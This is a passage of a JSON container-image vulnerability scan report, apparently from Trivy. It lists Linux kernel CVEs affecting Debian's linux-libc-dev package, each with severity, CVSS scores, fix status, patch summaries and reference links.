SET_ZERO_DATA and SET_COMPRESSION operate on an open SMB\nhandle but call VFS xattr, fallocate or fileattr helpers with the current\nksmbd worker credentials. Those helpers can revalidate inode permissions,\nownership and LSM policy independently of the SMB handle access mask.\n\nRun each operation with the credentials captured in the target file when\nthe handle was opened. Keep credential handling local to these single-file\nFSCTLs rather than applying session credentials to the complete IOCTL\nhandler, which also contains handle-less and multi-handle operations.", "Severity": "HIGH", "VendorSeverity": { "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "V3Score": 9.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-68457", "https://git.kernel.org/linus/c6394bcaf254c5baf9aff43376020be5db6d3316%20%287.2-rc1%29", "https://git.kernel.org/stable/c/1e112c47ec5dd1942e2d4ca6e8e9b712238e20c2", "https://git.kernel.org/stable/c/a8c18434e1f0d9f7989170bdb0490c0160baf065", "https://git.kernel.org/stable/c/c6394bcaf254c5baf9aff43376020be5db6d3316", "https://git.kernel.org/stable/c/cfb2c6f71d61ed807c9d7a7af331d406f1f31877", "https://git.kernel.org/stable/c/e205f3e7e8c31a47cd11efb6cf663a527177e432", "https://git.kernel.org/stable/c/fb1cae6302d58414ddf029e3f642711bd30243f7", "https://lore.kernel.org/linux-cve-announce/2026081502-CVE-2026-68457-eb4d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68457", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68457" ], "PublishedDate": "2026-08-15T06:17:48.46Z", "LastModifiedDate": "2026-08-18T07:16:52.283Z" }, { "VulnerabilityID": "CVE-2026-68470", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68470", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bdbce014fe1653ebb24155d022a91edf786c121dfda4c94bac989691b00b544c", "Title": "kernel: wifi: mac80211: validate extension-frame layout before RX", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: validate extension-frame layout before RX\n\nExtension frames only have the extension header at the regular 802.11\nheader offset. The generic RX path can still reach helpers and interface\ndispatch code that read regular header address fields before unsupported\nextension subtypes are dropped.\n\nmac80211 currently only handles S1G beacon extension frames. Drop other\nextension subtypes before they can reach regular-header RX processing.\nFor S1G beacons, linearize the SKB with the management-frame path and\nrequire the fixed S1G beacon header, including optional fixed fields\nindicated by frame control, before generic RX dispatch.\n\nRoute S1G beacons through the station/default-link RX path without\nregular-header station lookup. Avoid regular-header address reads in the\nmac80211 RX paths that process S1G extension beacons, including\naccept-frame, duplicate-detection, address-copy, and MLO\naddress-translation paths.\n\nAlso make ieee80211_get_bssid() length-safe before returning the S1G\nsource-address pointer.", "Severity": "HIGH", "CweIDs": [ "CWE-20" ], "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-68470", "https://git.kernel.org/linus/57d503ce32eccfa7650065ca4c560f7e29a2e676%20%287.2-rc4%29", "https://git.kernel.org/stable/c/1c3d9c6bd5b795f3b952b40d574c8e424e14a39b", "https://git.kernel.org/stable/c/57d503ce32eccfa7650065ca4c560f7e29a2e676", "https://git.kernel.org/stable/c/625fc704b19cb48d7d269ad54ffffb4d3bf9c7ed", "https://git.kernel.org/stable/c/7aba69b611007e11b9b93118ff8fe88998c3107f", "https://lore.kernel.org/linux-cve-announce/2026081504-CVE-2026-68470-1fbf@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68470", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68470" ], "PublishedDate": "2026-08-15T06:19:57.767Z", "LastModifiedDate": "2026-10-21T13:19:31.76Z" }, { "VulnerabilityID": "CVE-2026-68476", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68476", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5ed3e41ab39b0ee7a8dc053f5ff941b3486e1570cadad9dc5f8a180bd592ea2f", "Title": "kernel: ipvs: reload ip header after head reallocation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipvs: reload ip header after head reallocation\n\n__ip_vs_get_out_rt() calls skb_ensure_writable() which may\nreallocate skb-\u003ehead.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:90365", "https://access.redhat.com/security/cve/CVE-2026-68476", "https://bugzilla.redhat.com/2348512", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2502376", "https://bugzilla.redhat.com/2502382", "https://bugzilla.redhat.com/2507098", "https://bugzilla.redhat.com/2507122", "https://bugzilla.redhat.com/2516251", "https://bugzilla.redhat.com/2516417", "https://bugzilla.redhat.com/2517006", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2535066", "https://bugzilla.redhat.com/2540323", "https://bugzilla.redhat.com/2546385", "https://bugzilla.redhat.com/2546494", "https://bugzilla.redhat.com/show_bug.cgi?id=2348512", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2502376", "https://bugzilla.redhat.com/show_bug.cgi?id=2502382", "https://bugzilla.redhat.com/show_bug.cgi?id=2507098", "https://bugzilla.redhat.com/show_bug.cgi?id=2507122", "https://bugzilla.redhat.com/show_bug.cgi?id=2516251", "https://bugzilla.redhat.com/show_bug.cgi?id=2516417", "https://bugzilla.redhat.com/show_bug.cgi?id=2517006", "https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2535066", "https://bugzilla.redhat.com/show_bug.cgi?id=2540323", "https://bugzilla.redhat.com/show_bug.cgi?id=2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2546494", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63978", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64523", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68476", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89777", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98320", "https://errata.almalinux.org/9/ALSA-2026-90365.html", "https://errata.rockylinux.org/RLSA-2026:90365", "https://git.kernel.org/linus/a2f57827bf7c695b8c72dc4511cae8e86582369d%20%287.2-rc4%29", "https://git.kernel.org/stable/c/3fb7edd2018bb1ad0a68157383d9b9dac33dd645", "https://git.kernel.org/stable/c/4f2d1151421520d7ae16ca8d367d0ca09f5dfbd7", "https://git.kernel.org/stable/c/657118cad620172dfd8f6ed5717fd75c0d1f7a5a", "https://git.kernel.org/stable/c/a10f5080afbed242640f2984328de25f84557da1", "https://git.kernel.org/stable/c/a2f57827bf7c695b8c72dc4511cae8e86582369d", "https://git.kernel.org/stable/c/ac6ac3d35bfc0ade9d17d354c84e503a946ebdab", "https://git.kernel.org/stable/c/ad1e14710b360bda087ebf9fb82460eb5ef775de", "https://git.kernel.org/stable/c/e51687fc56c2e39ea6e9532925f1aabd4d529f61", "https://linux.oracle.com/cve/CVE-2026-68476.html", "https://linux.oracle.com/errata/ELSA-2026-90365.html", "https://lore.kernel.org/linux-cve-announce/2026081505-CVE-2026-68476-47ba@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68476", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68476" ], "PublishedDate": "2026-08-15T06:20:41.387Z", "LastModifiedDate": "2026-09-02T13:18:04.373Z" }, { "VulnerabilityID": "CVE-2026-68480", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68480", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:44b00a11431aca850fb22d681a8c367e7c2813e758faa63c66e320307bd76c76", "Title": "kernel: AMD-SN-7061: Safe RET Interrupt Vulnerability", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/bugs: Make Safe-RET robust against interrupt injection\n\nAn attacker injecting interrupts while the Safe-RET mitigation executes\non machines affected by SRSO can neutralize the safe return sequence,\npotentially leading to data leakage through speculative execution.\n\nFixup register state as if the Safe-RET sequence executed successfully\nby \"emulating\" it, in a manner of speaking, and avoid executing a RET\ninstruction after returning from the interrupt.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-68480", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/stable/c/52db77a13be224e09eb4ba6b4252ae8ab9085c2c", "https://git.kernel.org/stable/c/61649a2d61cb0dbc673f0f232f0f0c298bf50442", "https://git.kernel.org/stable/c/6703dba1d14cbd6647cd1ccfa3a3fa94b64dd096", "https://git.kernel.org/stable/c/7e7f81cf6f5ca3311e526308f55d7c54d3ba71f9", "https://git.kernel.org/stable/c/bfe7f9993467ba431b2731437949ac1e2634e771", "https://git.kernel.org/stable/c/d0208e08d64d99383e09852a76cc3038c5a4c3ab", "https://git.kernel.org/stable/c/dfefa3c51370f84acb643cddf98bb42c885d0483", "https://git.kernel.org/stable/c/e262f28a69ae9e0791248f93b0173c1d1f3e1d5d", "https://linux.oracle.com/cve/CVE-2026-68480.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://lore.kernel.org/linux-cve-announce/2026080631-CVE-2026-68480-ad40@gregkh/", "https://nvd.nist.gov/vuln/detail/CVE-2026-68480", "https://people.csail.mit.edu/mengjia/data/2026.USENIX.TONTOU.pdf", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68480" ], "PublishedDate": "2026-08-06T22:18:24.697Z", "LastModifiedDate": "2026-11-06T17:19:34.44Z" }, { "VulnerabilityID": "CVE-2026-72042", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72042", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:71b1fc69d4d60f3da3a12e253de8878cbde716de5794dd0c16f1ce741b0ab0a0", "Title": "kernel: ipmi: Fix user refcount underflow in event delivery", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipmi: Fix user refcount underflow in event delivery\n\nipmi_alloc_recv_msg(user) takes the temporary user reference owned by the\nreceive message, and ipmi_free_recv_msg() drops it again. If event delivery\nfails after allocating receive messages for earlier users,\nhandle_read_event_rsp() rolls those messages back with\nipmi_free_recv_msg().\n\nThat rollback path still drops user-\u003erefcount explicitly after freeing each\nmessage. The extra put can free a user that remains linked on intf-\u003eusers,\nso later event delivery may dereference a freed user or trip refcount_t's\naddition-on-zero warning when ipmi_alloc_recv_msg() tries to acquire\nanother reference.\n\nRemove the stale explicit put and the now-dead user assignment. Keep the\nlist_del() and ipmi_free_recv_msg() calls; they are the required rollback\noperations.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-72042", "https://git.kernel.org/linus/6aa9e61c46465d231e9beddf56af7effd71be682%20%287.2-rc1%29", "https://git.kernel.org/stable/c/6aa9e61c46465d231e9beddf56af7effd71be682", "https://git.kernel.org/stable/c/7be349d4fcc5e065295b83418a22d27a68afbdb6", "https://git.kernel.org/stable/c/ddbb6e3dc9bb4743de686aa1598c31e745cee76b", "https://lore.kernel.org/linux-cve-announce/2026081513-CVE-2026-72042-3b9c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72042", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72042" ], "PublishedDate": "2026-08-15T06:21:13.37Z", "LastModifiedDate": "2026-08-17T06:18:02.133Z" }, { "VulnerabilityID": "CVE-2026-72052", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72052", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f5fcd4e393767870fa48c46d31dd94ff913b857526fa42e3faa2bd8d62d17919", "Title": "kernel: net: ip6_gre: require CAP_NET_ADMIN in the device netns for changelink", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ip6_gre: require CAP_NET_ADMIN in the device netns for changelink\n\nip6gre_changelink() and ip6erspan_changelink() operate on at most two\nnetns, dev_net(dev) and the tunnel link netns t-\u003enet. They differ once\nthe device is created in or moved to a netns other than the one the\nrequest runs in. The rtnl changelink path checks CAP_NET_ADMIN only\nagainst dev_net(dev), so a caller privileged there but not in t-\u003enet can\nrewrite a tunnel that lives in t-\u003enet.\n\nGate both ops on rtnl_dev_link_net_capable() at their top, before any\nattribute is parsed.", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-72052", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", 